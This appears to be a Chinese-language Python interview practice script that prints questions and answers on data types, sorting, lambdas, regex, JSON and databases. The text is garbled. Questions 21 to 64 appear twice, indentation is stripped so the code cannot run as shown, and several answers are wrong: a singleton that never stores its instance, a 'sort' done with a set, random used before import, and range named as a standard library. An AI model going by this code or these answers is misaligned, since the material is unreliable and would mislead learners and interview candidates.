print('21 列出python中可变数据类型和不可变数据类型,并简述原理')
print('不可变数据类型:int,str,tuple')
print('可变数据类型:set,list,dict')
print('值修改,内存地址发生变化的,即为不可变数据类型,反之亦然')
# 22 s = "ajldjlajfdljfddd",去重并从小到大排序输出"adfjl"
print('22 s = "ajldjlajfdljfddd",去重并从小到大排序输出"adfjl"')
test22_str1 = "ajldjlajfdljfddd"
test22_list1 = list(set(test22_str1))
test22_list1.sort()
print("".join(test22_list1))
# 23 用lambda函数实现两个数相乘
print('23 用lambda函数实现两个数相乘')
s = lambda x, y: x * y
print(s(2, 3))
# 24 字典根据键从小到大排序
print('24 字典根据键从小到大排序')
test24_dict1 = {'a': 1, 'c': 3, 'g': 4, 'b': 6}
test24_list1 = sorted(test24_dict1.items(), key=lambda x: x[0], reverse=False)
print(test24_list1, type(test24_list1))
test24_dict2 = dict(test24_list1)
print(test24_dict2, type(test24_dict2))
# 25 利用collections库的Counter方法统计字符串每个单词出现的次数"kjalfj;ldsjafl;hdsllfdhg;lahfbl;hl;ahlf;h"
print('25 题。。。。')
import collections
test25_str1 = 'kjalfj;ldsjafl;hdsllfdhg;ldsjafl;gehr;lahfbl;ldsjafl;hl;ahlf;h'
test25_counter = collections.Counter(test25_str1.split(';'))
print(test25_counter, type(test25_counter))
print(dict(test25_counter))
# 26 正则
# 27 filter方法求出列表所有奇数并构造新列表,a = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]
"""
filter函数用于过滤序列,过滤掉不符合条件的元素,返回有符合元素组成的新列表(迭代器)
filter(function,iterable)
"""
print('27题。。。。')
test27_list1 = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]
test27_iterable = filter(lambda x: x % 2 == 1, test27_list1)
print(list(test27_iterable))
# 28 列表推导式求列表所有奇数并构造新列表,a = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]
print('28 列表推导式求列表所有奇数并构造新列表,a = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]')
test28_list1 = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]
test28_list2 = [x for x in test28_list1 if x % 2 == 1]
print(test28_list2)
# 29 正则re.complie作用
print('29 正则re.complie作用')
print('re.complie 是将正则表达式编译成一个对象,加快速度,并重复使用')
import re
test29_recompile = re.compile(r'^(\d{3})-(\d{3,8})$')
test29_a = test29_recompile.match('010-123456').groups()
test29_b = test29_recompile.match('202-458483').groups()
print(test29_a, test29_b)
# 30 a=(1,)b=(1),c=("1") 分别是什么类型的数据?
print('30 a=(1,)b=(1),c=("1") 分别是什么类型的数据?')
print('a=(1,)的类型是元组,', type((1,)))
print('b=(1)的类型是数字', type((1)))
print('c=("1")的类型是字符串', type(('1')))
# 31 两个列表[1,5,7,9]和[2,2,6,8]合并为[1,2,2,3,6,7,8,9]
"""
extend yu append 都可以在列表后面增加元素
extend:参数为可迭代对象,是将迭代对象的每一项挨个增加到原有列表队尾
append:参数为object,是将obj直接当做一个项增加到到列表队尾
"""
print('31 两个列表[1,5,7,9]和[2,2,6,8]合并为[1,2,2,3,6,7,8,9]')
test31_list1 = [1, 5, 7, 9]
test31_list2 = [2, 2, 6, 8]
test31_list1.extend(test31_list2)
test31_list1.sort()
print(test31_list1)
test31_list1.append(test31_list2)
print(test31_list1)
# 32 用python删除文件和用linux命令删除文件方法
print('32 用python删除文件和用linux命令删除文件方法')
print(f'python方法:os.remove')
print(f'linux:rm')
# 33 log日志中,我们需要用时间戳记录error,warning等的发生时间,请用datetime模块打印当前时间戳 “2018-04-01 11:38:54”
print('33 log日志中,我们需要用时间戳记录error,warning等的发生时间,请用datetime模块打印当前时间戳 “2018-04-01 11:38:54”')
import datetime
# strftime 时分秒(H M S)都要大写
test32_str1 = datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')
print(test32_str1)
# 33 数据库优化查询方法
# 34 请列出你会的任意一种统计图(条形图,折线图等)绘制的开源库,第三方也行
print('34 请列出你会的任意一种统计图(条形图,折线图等)绘制的开源库,第三方也行')
print('pyecharts', 'matplotlib')
# 35 写一段自定义异常代码
print('35 写一段自定义异常代码')
def def35():
try:
raise IndexError('测试测试')
except IndexError as i:
print(i)
def35()
# 36 正则表达式匹配中,(.*)和(.*?)匹配的区别?
print('36 正则表达式匹配中,(.*)和(.*?)匹配的区别?')
print('(.*) 是贪婪匹配,尽可能多的往后面匹配')
print('(.*?) 非贪婪匹配,尽可能少的匹配')
import re
test36_str = '<a>哈哈</a><a>呵呵</a>'
test36_re1 = re.findall("<a>(.*)</a>", test36_str)
test36_re2 = re.findall("<a>(.*?)</a>", test36_str)
print(test36_re1)
print(test36_re2)
# 38 简述Django的orm
print('38 简述Django的orm')
print('后续补充')
# 39 [[1,2],[3,4],[5,6]]一行代码展开该列表,得出[1,2,3,4,5,6]
print('39 [[1,2],[3,4],[5,6]]一行代码展开该列表,得出[1,2,3,4,5,6]')
test39_list1 = [[1, 2], [3, 4], [5, 6]]
# 使用列表推导式 for i in a
test39_list2 = [j for i in test39_list1 for j in i]
print(test39_list2)
# 40 x="abc",y="def",z=["d","e","f"],分别求出x.join(y)和x.join(z)返回的结果
print('40 x="abc",y="def",z=["d","e","f"],分别求出x.join(y)和x.join(z)返回的结果')
test40_str1 = 'abc'
test40_str2 = 'def'
test40_list1 = ['d', 'e', 'f']
print(test40_str1.join(test40_str2))
test40_str1 = 'abc'
test40_str2 = 'def'
test40_list1 = ['d', 'e', 'f']
print(test40_str1.join(test40_list1))
# 41 举例说明异常模块中try except else finally的相关意义
print('41 举例说明异常模块中try except else finally的相关意义')
# 42 python中交换两个数值
print('42 python中交换两个数值')
test42_i1, test42_i2 = 3, 4
print(test42_i1, test42_i2)
test42_i1, test42_i2 = test42_i2, test42_i1
print(test42_i1, test42_i2)
# 43 举例说明zip()函数用法
print('43 举例说明zip()函数用法')
test43_list1 = [1, 2, 3, 4, 5]
test43_list2 = ['a', 'b', 'c', 'd', 'e']
test43_res1 = zip(test43_list1, test43_list2)
print(list(test43_res1))
# 44 a="张明 98分",用re.sub,将98替换为100
print('44 a="张明 98分",用re.sub,将98替换为100')
test44_str1 = "张明 98分"
# 45 写5条常用sql语句
# 46 a="hello"和b="你好"编码成bytes类型
print('46 a="hello"和b="你好"编码成bytes类型')
test46_str1 = "hello"
test46_str2 = "你好"
print(test46_str1.encode())
print(test46_str2.encode(encoding='utf-8'))
# 47 [1,2,3]+[4,5,6]的结果是多少?
print('47 [1,2,3]+[4,5,6]的结果是多少?')
test47_list1 = [1, 2, 3]
test47_list2 = [4, 5, 6]
# +与extend相同
print(test47_list1 + test47_list2)
test47_list1.extend(test47_list2)
print(test47_list1)
# 48 提高python运行效率的方法
print('48 提高python运行效率的方法')
print(r'使用生成器,节约内存')
print(r'循环代码优化,避免过多重复代码')
print(r'多线程,多进程,协程')
print(r'多个判断,命中率高的放到最前面')
# 49 简述mysql和redis区别
print('49 简述mysql和redis区别')
print('存储方式不一样,'
'mysql是关系数据库,数据主要固化到磁盘中'
'redis是以键值对存储的菲关系数据库,数据主要保存在内存中')
# 50 遇到bug如何处理
# 51 正则匹配,匹配日期2018-03-20
# 52 list=[2,3,5,4,9,6],从小到大排序,不许用sort,输出[2,3,4,5,6,9]
print('52 list=[2,3,5,4,9,6],从小到大排序,不许用sort,输出[2,3,4,5,6,9]')
test52_list1 = [2, 3, 5, 4, 9, 6]
test52_set = set(test52_list1)
test52_list2 = list(test52_set)
print(test52_list2)
# 53 写一个单列模式
print('53 写一个单列模式')
class Cls53():
_cls = None
def __new__(cls, *args, **kwargs):
if not cls._cls:
_cls = super().__new__(cls)
return cls._cls
test53_t1 = Cls53()
test53_t2 = Cls53()
print(id(test53_t1))
print(id(test53_t2))
# 54 保留两位小数
test54_float = 3.67893
print('%0.2f' % test54_float)
print(round(test54_float, 2))
# 55 求三个方法打印结果
# 56 列出常见的状态码和意义
# 57 分别从前端、后端、数据库阐述web项目的性能优化
print('57 分别从前端、后端、数据库阐述web项目的性能优化')
# 58 使用pop和del删除字典中的"name"字段,dic={"name":"zs","age":18}
print('58 使用pop和del删除字典中的"name"字段,dic={"name":"zs","age":18}')
test58_dic1 = {"name": "zs", "age": 18, "sex": "woman", "height": "170"}
test58_dic1.pop('age')
print(test58_dic1)
del test58_dic1["sex"]
print(test58_dic1)
# 59 列出常见MYSQL数据存储引擎
print('59 列出常见MYSQL数据存储引擎')
# 60 计算代码运行结果,zip函数历史文章已经说了,得出[("a",1),("b",2),("c",3),("d",4),("e",5)]
print('60 计算代码运行结果,zip函数历史文章已经说了,得出[("a",1),("b",2),("c",3),("d",4),("e",5)]')
# 61 简述同源策略
print('61 简述同源策略')
print('协议相同(http https),域名相同,端口相同')
# 62 简述 cookie和session的区别
print('62 简述 cookie和session的区别')
# 63 简述多线程,多进程
print('63 简述多线程,多进程')
# 64 简述any()和all()方法
print('64 简述any()和all()方法')
print('any() 迭代器中有一个为真,即为真')
print('all() 迭代器中全为真,即为真')
# 65 IOError、AttributeError、ImportError、IndentationError、IndexError、KeyError、SyntaxError、NameError分别代表什么异常
print('65 IOError、AttributeError、ImportError、IndentationError、IndexError、KeyError、SyntaxError、NameError分别代表什么异常')
print(
'IOError:输入输出异常', '\r\n',
'AttributeError:访问对象一个不存在的属性', '\r\n',
'ImportError:无法引入模块或者包,基本都是路径问题', '\r\n',
'IndentationError:语法错误,代码没有正确对齐', '\r\n',
'IndexError:下标索引超出限制', '\r\n',
'KeyError:视图访问字典中不存在的键', '\r\n',
'SyntaxError:Python代码逻辑语法出错,不能执行', '\r\n',
'NameError:使用了一个还未赋值的对象变量')
# 66 python copy 和 deepcopy的区别
print('66 python copy 和 deepcopy的区别')
print('copy:浅复制,引用数据复制的是引用地址')
print('deepcopy:深复制,引用数据直接赋值数据本身')
# 67 列出几种魔法方法并简要介绍用途
print('67 列出几种魔法方法并简要介绍用途')
print('__new__')
print('__init(self)__')
print('__class__ 获取已知对象的类')
print('__str__ 将对象转换成字符串')
print('__del__ 对象调用结束以后,垃圾回收调用该魔法函数,来释放资源')
print('__hash__ 返回哈希值')
# 68
# 69 请将[i for i in range(3)] 改成生成器
print('69 请将[i for i in range(3)] 改成生成器')
test69_iter2 = (i for i in range(10))
print(type(test69_iter2))
print(test69_iter2.__next__())
print(next(test69_iter2))
for x in test69_iter2:
print(x)
print(list(i for i in range(10)))
print(tuple(i for i in range(10)))
# 70 a = " hehheh ",去除首尾空格
print('70 a = " hehheh ",去除首尾空格')
test70_str1 = " hehheh "
print(test70_str1.strip())
# 71 举例sort和sorted对列表排序,list=[0,-1,3,-10,5,9]
print('71 举例sort和sorted对列表排序,list=[0,-1,3,-10,5,9]')
test71_list1 = [0, -1, 3, -10, 5, 9]
test71_list2 = sorted(test71_list1)
print(test71_list1, test71_list2)
test71_list1.sort()
print(test71_list1)
# 72 对list排序foo = [-5,8,0,4,9,-4,-20,-2,8,2,-4],使用lambda函数从小到大排序
print('72 对list排序foo = [-5,8,0,4,9,-4,-20,-2,8,2,-4],使用lambda函数从小到大排序')
test72_list1 = [-5, 8, 0, 4, 9, -4, -20, -2, 8, 2, -4]
test72_gen1 = sorted(test72_list1, key=lambda x: x)
print(test72_gen1)
# 73 使用lambda函数对list排序foo = [-5,8,0,4,9,-4,-20,-2,8,2,-4],输出结果为 [0,2,4,8,8,9,-2,-4,-4,-5,-20],正数从小到大,负数从大到小
print('73 使用lambda函数对list排序foo = [-5,8,0,4,9,-4,-20,-2,8,2,-4],输出结果为 [0,2,4,8,8,9,-2,-4,-4,-5,-20],正数从小到大,负数从大到小')
test73_list1 = [-5, 8, 0, 4, 9, -4, -20, -2, 8, 2, -4]
test73_gen1 = sorted(test73_list1, key=lambda x: (x < 0, abs(x)))
print(test73_gen1)
test73_gen2 = sorted(test73_list1, key=lambda x: abs(x))
print(test73_gen2)
# 74 列表嵌套字典的排序,分别根据年龄和姓名排序
print('74 列表嵌套字典的排序,分别根据年龄和姓名排序')
test74_list1 = [{"name": "zs", "age": 19}, {"name": "ll", "age": 54}, {"name": "wa", "age": 17},
{"name": "df", "age": 23}]
test74_gen1 = sorted(test74_list1, key=lambda x: x["name"])
test74_gen2 = sorted(test74_list1, key=lambda x: x["age"])
print(test74_gen1)
print(test74_gen2)
# 75 列表嵌套元组,分别按字母和数字排序
print('75 列表嵌套元组,分别按字母和数字排序')
test75_tuple1 = [('sz', 13), ('ab', 24), ('ed', 56), ('hi', 12)]
test75_gen1 = sorted(test75_tuple1, key=lambda x: x[0], reverse=True)
test75_gen2 = sorted(test75_tuple1, key=lambda x: x[1], reverse=True)
print(test75_gen1)
print(test75_gen2)
# 76 列表嵌套列表排序,年龄数字相同怎么办?
print('76 列表嵌套列表排序,年龄数字相同怎么办?')
test76_list1 = [('sz', 13), ('ab', 24), ('ed', 56), ('hi', 12), ('hr', 24), ('as', 24), ]
# 只针对数字排序
test76_gen1 = sorted(test76_list1, key=lambda x: (x[1]))
# 针对数字排序,相同的时候,再针对字母排序
test76_gen2 = sorted(test76_list1, key=lambda x: (x[1], x[0]))
print(test76_gen1)
print(test76_gen2)
# 77 根据键对字典排序(方法1,zip函数)
print('77 根据键对字典排序(方法1,zip函数)')
test77_dict1 = {'name': 'zhangsan', 'sex': 'man', 'city': 'bj'}
test77_list1 = zip(test77_dict1.keys(), test77_dict1.values())
test77_gen1 = sorted(test77_list1, key=lambda x: x[0])
test77_dict2 = {x[0]: x[1] for x in test77_gen1}
print(test77_dict2)
# 78 根据键对字典排序(方法2,不用zip函数)
print('78 根据键对字典排序(方法2,不用zip函数)')
test78_dict1 = {'name': 'zhangsan', 'sex': 'man', 'city': 'bj'}
print(type(test78_dict1.items()), ':', test78_dict1.items())
# 老写法
# test78_list2 = [(x, y) for x, y in test78_dict1.items()]
# test78_gen1 = sorted(test78_list2, key=lambda x: x[0])
# 新写法 test78_dict1本来就是可迭代对象,不需要在转换为list
test78_gen1 = sorted(test78_dict1.items(), key=lambda x: x[0])
test78_dict2 = {x[0]: x[1] for x in test78_gen1}
print(test78_dict2)
# 79 列表推导式 字典推导式 生成器
print('79 列表推导式 字典推导式 生成器')
test79_list1 = [i for i in range(10)]
print('列表推导式', test79_list1)
test79_dic1 = {i: random.randint(11, 20) for i in range(1, 10)}
print('字典推导式', test79_dic1)
test79_gen1 = (i for i in range(10))
print('生成器', test79_gen1)
print('生成器具体的值', list(test79_gen1))
# 80 最后出一道检验题目,根据字符串长度排序,看排序是否灵活运用
print('80 最后出一道检验题目,根据字符串长度排序,看排序是否灵活运用')
test80_list1 = ['ab', 'abc', 'a', 'jekg']
# 长度降序排序
test80_list2 = sorted(test80_list1, key=lambda x: len(x), reverse=True)
print(test80_list2)
test80_list1 = ['ab', 'abc', 'a', 'jekg']
test80_list1.sort(key=len, reverse=True)
print(test80_list1)
# 81 举例说明SQL注入和解决办法
print('81 举例说明SQL注入和解决办法')
# 82 s="info:xiaoZhang 33 shandong",用正则切分字符串输出['info', 'xiaoZhang', '33', 'shandong']
# 83 正则匹配以http://163.com结尾的邮箱
# 84 递归求和
print('84 递归求和')
def deftest84(num):
counts = 0
if num == 1:
return num
else:
counts = num + deftest84(num - 1)
return counts
test84_int = deftest84(10)
print('递归求值', test84_int)
# 85 python字典和json字符串相互转化方法
print('85 python字典和json字符串相互转化方法')
import json
# 核心是json模块的 drmps 和 loads 函数功能
test85_dict1 = {'name': 'zhangsan', 'sex': 'man', 'city': 'bj'}
test85_str1 = json.dumps(test85_dict1)
print('字典转字符串:', type(test85_str1), test85_str1)
test85_dict2 = json.loads(test85_str1)
print('字符串转字典:', type(test85_dict2), test85_dict2)
# 86 MyISAM 与 InnoDB 区别
print('86 MyISAM 与 InnoDB 区别')
# InnoDB支持事物,默认每一次执行,都包装成事物处理,更适合频繁涉及到修改的操作,安全性较高,支持外键。
# 自增长字段,必须只包含该字段
# 清空表时,是一行一行删除数据,效率比较慢
# 87 统计字符串中某字符出现次数
print('87 统计字符串中某字符出现次数')
test87_str1 = 'fsagbreyhefsdgbvhgrehsagbrfhetsagvedghre'
# str.counter可以统计某个字符出现的次数
print('a字符出现的次数:', test87_str1.count('a'))
# collections三方库可以统计所有字符出现的次数
test87_dict1 = collections.Counter(test87_str1)
print('每个字符出现的次数:', test87_dict1)
# 88 字符串转化大小写
print('88 字符串转化大小写')
test88_str1 = 'gegGEgeGERGH'
print('小写为:', test88_str1.lower())
print('大写为:', test88_str1.upper())
# 89 用两种方法去空格
print('89 用两种方法去空格')
test89_str1 = ' zhangsan is a woman '
"""
110道Python面试题
URl:
"""
# 01 一行代码实现1-100之和
# range的第二个参数,是开区间,也就是不包括第二个参数
print('第一题:', sum(range(1, 101)))
# 02 如何在一个函数内部修改全局变量
test02 = 10
def funtest02():
global test02
test02 = 5
print(test02)
print('第二题:', test02)
# 03 列出5个Python 标准库
print('第三题:', 'typing', 'datetime', 'time', 'range', 'abc', 're', )
# 04 字典如何删除键和合并两个字典
test04_1 = {'a': 1, 'b': 2}
print('第四题:', test04_1)
del test04_1['a']
test04_1['c'] = 5
print(test04_1)
test04_2 = {'aa': 2, 'bb': 2}
test04_2.update(test04_1)
print(test04_2)
print('拓展,关于列表操作 list')
test04_list1 = [1, 2, 3]
test04_list2 = [4, 5, 3]
test04_list1.remove(2)
test04_list2.extend(test04_list1)
print(test04_list2)
print('拓展,关于元组 tuple')
test04_tuple = (1, 2, 3)
print(test04_tuple[1])
print('拓展,关于集合 set')
test04_set01 = {1, 2, 3}
test04_set01.remove(2)
print(test04_set01)
test04_set02 = {3, 4, 5}
test04_set02.update(test04_set01)
print(test04_set02)
# 05 谈下python的GIL
print('全局解释器锁')
# 06 python实现列表去重的方法
# 直接将列表转换为集合,集合是没有重复项的数据类型
test06_list1 = [1, 2, 3, 4, 4, 3, 7, 5, 6, 7, 3]
test06_set1 = set(test06_list1)
print('第6题的集合', test06_set1)
test06_list2 = [x for x in test06_set1]
print(test06_list2)
# 07 fun(*args,**kwargs)中的*args,**kwargs是什么意思
print('第07题:fun(*args,**kwargs)中的*args,**kwargs是什么意思')
print('*args 表示"非键值"对的可变数量的参数列表')
print('**kwargs 表示"键值对"的可变数量的参数列表')
def deftest07(*args, **kwargs):
print('输出"非键值对"的可变数量参数列表')
for x in args:
print(x)
print('输出"键值对"的可变数量参数列表')
for k, v in kwargs.items():
print(f'key:{k},value:{v}')
deftest07(1, 2, 4, 'aa', 'sbs', name='t2', sex='women')
# 08 python2和python3的range(100)的区别
print('第08题:python2和python3的range(100)的区别')
print('python2返回列表 python3返回迭代器 节约内存')
# 09 一句话解释什么样的语言能够用装饰器
print('09 一句话解释什么样的语言能够用装饰器')
print('函数可以作为参数传递的语言,可以使用装饰器')
# 10 Python 内建数据有哪些
print('10 Python 内建数据有哪些')
print(type(int(10)))
print(type(float(10)))
print(type(bool(0)))
print(type(str('a')))
print(type(list([1, 2])))
print(type(tuple((1, 2))))
print(type(dict({'a': 1})))
print(type(set({'a'})))
print(type(bytes()))
# 11 简述面向对象中 __new__ 和 __init__ 的区别
print('11 简述面向对象中 __new__ 和 __init__ 的区别')
print('__new__ 含义为创建一个对象的实例,为第一步操作,new方法必须有一个返回值,包含一个cls参数')
print('__init__ 含义为为对象的实例初始化一部分操作,为第二部操作,前提是已经创建了一个对象的实例')
# 12 简述with方法打开处理文件帮我们做了什么
print('12 简述with方法打开处理文件帮我们做了什么')
print('调用结束或者异常时,自动释放资源,也就是f.close方法')
# 13 列表[1,2,3,4,5],请使用map()函数输出[1,4,9,16,25],并使用列表推导式提取出大于10的数,最终输出[16,25]
print('13 列表[1,2,3,4,5],请使用map()函数输出[1,4,9,16,25],并使用列表推导式提取出大于10的数,最终输出[16,25]')
test13_01list = [1, 2, 3, 4, 5]
def deftest13(x):
return x * x
test13_02list = list(map(deftest13, test13_01list))
print(test13_02list)
print('列表推导式结果:', [x for x in test13_02list if x > 10])
print('lambda表达式结果:', list(filter(lambda x: x > 10, test13_02list)))
# 14 python中生成随机整数、随机小数、0--1之间小数的方法
import random
print('生成随机整数,需要传入区间:', random.randint(1, 100))
print('生成随机小数:', random.random())
print('生成0--1之间的小数', random.random())
# 15 避免转义给字符串加哪个字母表示原始字符串?
print('15 避免转义给字符串加哪个字母表示原始字符串?')
print('输出转义字符:', '\r\n')
print('输出非转义字符(加斜杠):', '\\r\\n')
print('输出非转义字符(加"r"字符前缀):', r'\r\n')
# 16 正则表达式使用
# 17 python中使用断言
print('17 python中使用断言')
def deftest17(counts):
# 断言成功,则继续执行,断言失败,则程序报错
assert 0 < counts < 10, '这里是断言错误抛出的异常字符串'
return counts
try:
print('正常执行')
deftest17(6)
print('命中断言')
deftest17(12)
except AssertionError as e:
print(e)
# 18 数据表student有id,name,score,city字段,其中name中的名字可有重复,需要消除重复行,请写sql语句
print('18 数据表student有id,name,score,city字段,其中name中的名字可有重复,需要消除重复行,请写sql语句')
# 19
# 20
# 21 列出python中可变数据类型和不可变数据类型,并简述原理
print('21 列出python中可变数据类型和不可变数据类型,并简述原理')
print('不可变数据类型:int,str,tuple')
print('可变数据类型:set,list,dict')
print('值修改,内存地址发生变化的,即为不可变数据类型,反之亦然')
# 22 s = "ajldjlajfdljfddd",去重并从小到大排序输出"adfjl"
print('22 s = "ajldjlajfdljfddd",去重并从小到大排序输出"adfjl"')
test22_str1 = "ajldjlajfdljfddd"
test22_list1 = list(set(test22_str1))
test22_list1.sort()
print("".join(test22_list1))
# 23 用lambda函数实现两个数相乘
print('23 用lambda函数实现两个数相乘')
s = lambda x, y: x * y
print(s(2, 3))
# 24 字典根据键从小到大排序
print('24 字典根据键从小到大排序')
test24_dict1 = {'a': 1, 'c': 3, 'g': 4, 'b': 6}
test24_list1 = sorted(test24_dict1.items(), key=lambda x: x[0], reverse=False)
print(test24_list1, type(test24_list1))
test24_dict2 = dict(test24_list1)
print(test24_dict2, type(test24_dict2))
# 25 利用collections库的Counter方法统计字符串每个单词出现的次数"kjalfj;ldsjafl;hdsllfdhg;lahfbl;hl;ahlf;h"
print('25 题。。。。')
import collections
test25_str1 = 'kjalfj;ldsjafl;hdsllfdhg;ldsjafl;gehr;lahfbl;ldsjafl;hl;ahlf;h'
test25_counter = collections.Counter(test25_str1.split(';'))
print(test25_counter, type(test25_counter))
print(dict(test25_counter))
# 26 正则
# 27 filter方法求出列表所有奇数并构造新列表,a = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]
"""
filter函数用于过滤序列,过滤掉不符合条件的元素,返回有符合元素组成的新列表(迭代器)
filter(function,iterable)
"""
print('27题。。。。')
test27_list1 = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]
test27_iterable = filter(lambda x: x % 2 == 1, test27_list1)
print(list(test27_iterable))
# 28 列表推导式求列表所有奇数并构造新列表,a = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]
print('28 列表推导式求列表所有奇数并构造新列表,a = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]')
test28_list1 = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]
test28_list2 = [x for x in test28_list1 if x % 2 == 1]
print(test28_list2)
# 29 正则re.complie作用
print('29 正则re.complie作用')
print('re.complie 是将正则表达式编译成一个对象,加快速度,并重复使用')
import re
test29_recompile = re.compile(r'^(\d{3})-(\d{3,8})$')
test29_a = test29_recompile.match('010-123456').groups()
test29_b = test29_recompile.match('202-458483').groups()
print(test29_a, test29_b)
# 30 a=(1,)b=(1),c=("1") 分别是什么类型的数据?
print('30 a=(1,)b=(1),c=("1") 分别是什么类型的数据?')
print('a=(1,)的类型是元组,', type((1,)))
print('b=(1)的类型是数字', type((1)))
print('c=("1")的类型是字符串', type(('1')))
# 31 两个列表[1,5,7,9]和[2,2,6,8]合并为[1,2,2,3,6,7,8,9]
"""
extend yu append 都可以在列表后面增加元素
extend:参数为可迭代对象,是将迭代对象的每一项挨个增加到原有列表队尾
append:参数为object,是将obj直接当做一个项增加到到列表队尾
"""
print('31 两个列表[1,5,7,9]和[2,2,6,8]合并为[1,2,2,3,6,7,8,9]')
test31_list1 = [1, 5, 7, 9]
test31_list2 = [2, 2, 6, 8]
test31_list1.extend(test31_list2)
test31_list1.sort()
print(test31_list1)
test31_list1.append(test31_list2)
print(test31_list1)
# 32 用python删除文件和用linux命令删除文件方法
print('32 用python删除文件和用linux命令删除文件方法')
print(f'python方法:os.remove')
print(f'linux:rm')
# 33 log日志中,我们需要用时间戳记录error,warning等的发生时间,请用datetime模块打印当前时间戳 “2018-04-01 11:38:54”
print('33 log日志中,我们需要用时间戳记录error,warning等的发生时间,请用datetime模块打印当前时间戳 “2018-04-01 11:38:54”')
import datetime
# strftime 时分秒(H M S)都要大写
test32_str1 = datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')
print(test32_str1)
# 33 数据库优化查询方法
# 34 请列出你会的任意一种统计图(条形图,折线图等)绘制的开源库,第三方也行
print('34 请列出你会的任意一种统计图(条形图,折线图等)绘制的开源库,第三方也行')
print('pyecharts', 'matplotlib')
# 35 写一段自定义异常代码
print('35 写一段自定义异常代码')
def def35():
try:
raise IndexError('测试测试')
except IndexError as i:
print(i)
def35()
# 36 正则表达式匹配中,(.*)和(.*?)匹配的区别?
print('36 正则表达式匹配中,(.*)和(.*?)匹配的区别?')
print('(.*) 是贪婪匹配,尽可能多的往后面匹配')
print('(.*?) 非贪婪匹配,尽可能少的匹配')
import re
test36_str = '<a>哈哈</a><a>呵呵</a>'
test36_re1 = re.findall("<a>(.*)</a>", test36_str)
test36_re2 = re.findall("<a>(.*?)</a>", test36_str)
print(test36_re1)
print(test36_re2)
# 38 简述Django的orm
print('38 简述Django的orm')
print('后续补充')
# 39 [[1,2],[3,4],[5,6]]一行代码展开该列表,得出[1,2,3,4,5,6]
print('39 [[1,2],[3,4],[5,6]]一行代码展开该列表,得出[1,2,3,4,5,6]')
test39_list1 = [[1, 2], [3, 4], [5, 6]]
# 使用列表推导式 for i in a
test39_list2 = [j for i in test39_list1 for j in i]
print(test39_list2)
# 40 x="abc",y="def",z=["d","e","f"],分别求出x.join(y)和x.join(z)返回的结果
print('40 x="abc",y="def",z=["d","e","f"],分别求出x.join(y)和x.join(z)返回的结果')
test40_str1 = 'abc'
test40_str2 = 'def'
test40_list1 = ['d', 'e', 'f']
print(test40_str1.join(test40_str2))
test40_str1 = 'abc'
test40_str2 = 'def'
test40_list1 = ['d', 'e', 'f']
print(test40_str1.join(test40_list1))
# 41 举例说明异常模块中try except else finally的相关意义
print('41 举例说明异常模块中try except else finally的相关意义')
# 42 python中交换两个数值
print('42 python中交换两个数值')
test42_i1, test42_i2 = 3, 4
print(test42_i1, test42_i2)
test42_i1, test42_i2 = test42_i2, test42_i1
print(test42_i1, test42_i2)
# 43 举例说明zip()函数用法
print('43 举例说明zip()函数用法')
test43_list1 = [1, 2, 3, 4, 5]
test43_list2 = ['a', 'b', 'c', 'd', 'e']
test43_res1 = zip(test43_list1, test43_list2)
print(list(test43_res1))
# 44 a="张明 98分",用re.sub,将98替换为100
print('44 a="张明 98分",用re.sub,将98替换为100')
test44_str1 = "张明 98分"
# 45 写5条常用sql语句
# 46 a="hello"和b="你好"编码成bytes类型
print('46 a="hello"和b="你好"编码成bytes类型')
test46_str1 = "hello"
test46_str2 = "你好"
print(test46_str1.encode())
print(test46_str2.encode(encoding='utf-8'))
# 47 [1,2,3]+[4,5,6]的结果是多少?
print('47 [1,2,3]+[4,5,6]的结果是多少?')
test47_list1 = [1, 2, 3]
test47_list2 = [4, 5, 6]
# +与extend相同
print(test47_list1 + test47_list2)
test47_list1.extend(test47_list2)
print(test47_list1)
# 48 提高python运行效率的方法
print('48 提高python运行效率的方法')
print(r'使用生成器,节约内存')
print(r'循环代码优化,避免过多重复代码')
print(r'多线程,多进程,协程')
print(r'多个判断,命中率高的放到最前面')
# 49 简述mysql和redis区别
print('49 简述mysql和redis区别')
print('存储方式不一样,'
'mysql是关系数据库,数据主要固化到磁盘中'
'redis是以键值对存储的菲关系数据库,数据主要保存在内存中')
# 50 遇到bug如何处理
# 51 正则匹配,匹配日期2018-03-20
# 52 list=[2,3,5,4,9,6],从小到大排序,不许用sort,输出[2,3,4,5,6,9]
print('52 list=[2,3,5,4,9,6],从小到大排序,不许用sort,输出[2,3,4,5,6,9]')
test52_list1 = [2, 3, 5, 4, 9, 6]
test52_set = set(test52_list1)
test52_list2 = list(test52_set)
print(test52_list2)
# 53 写一个单列模式
print('53 写一个单列模式')
class Cls53():
_cls = None
def __new__(cls, *args, **kwargs):
if not cls._cls:
_cls = super().__new__(cls)
return cls._cls
test53_t1 = Cls53()
test53_t2 = Cls53()
print(id(test53_t1))
print(id(test53_t2))
# 54 保留两位小数
test54_float = 3.67893
print('%0.2f' % test54_float)
print(round(test54_float, 2))
# 55 求三个方法打印结果
# 56 列出常见的状态码和意义
# 57 分别从前端、后端、数据库阐述web项目的性能优化
print('57 分别从前端、后端、数据库阐述web项目的性能优化')
# 58 使用pop和del删除字典中的"name"字段,dic={"name":"zs","age":18}
print('58 使用pop和del删除字典中的"name"字段,dic={"name":"zs","age":18}')
test58_dic1 = {"name": "zs", "age": 18, "sex": "woman", "height": "170"}
test58_dic1.pop('age')
print(test58_dic1)
del test58_dic1["sex"]
print(test58_dic1)
# 59 列出常见MYSQL数据存储引擎
print('59 列出常见MYSQL数据存储引擎')
# 60 计算代码运行结果,zip函数历史文章已经说了,得出[("a",1),("b",2),("c",3),("d",4),("e",5)]
print('60 计算代码运行结果,zip函数历史文章已经说了,得出[("a",1),("b",2),("c",3),("d",4),("e",5)]')
# 61 简述同源策略
print('61 简述同源策略')
print('协议相同(http https),域名相同,端口相同')
# 62 简述 cookie和session的区别
print('62 简述 cookie和session的区别')
# 63 简述多线程,多进程
print('63 简述多线程,多进程')
# 64 简述any()和all()方法
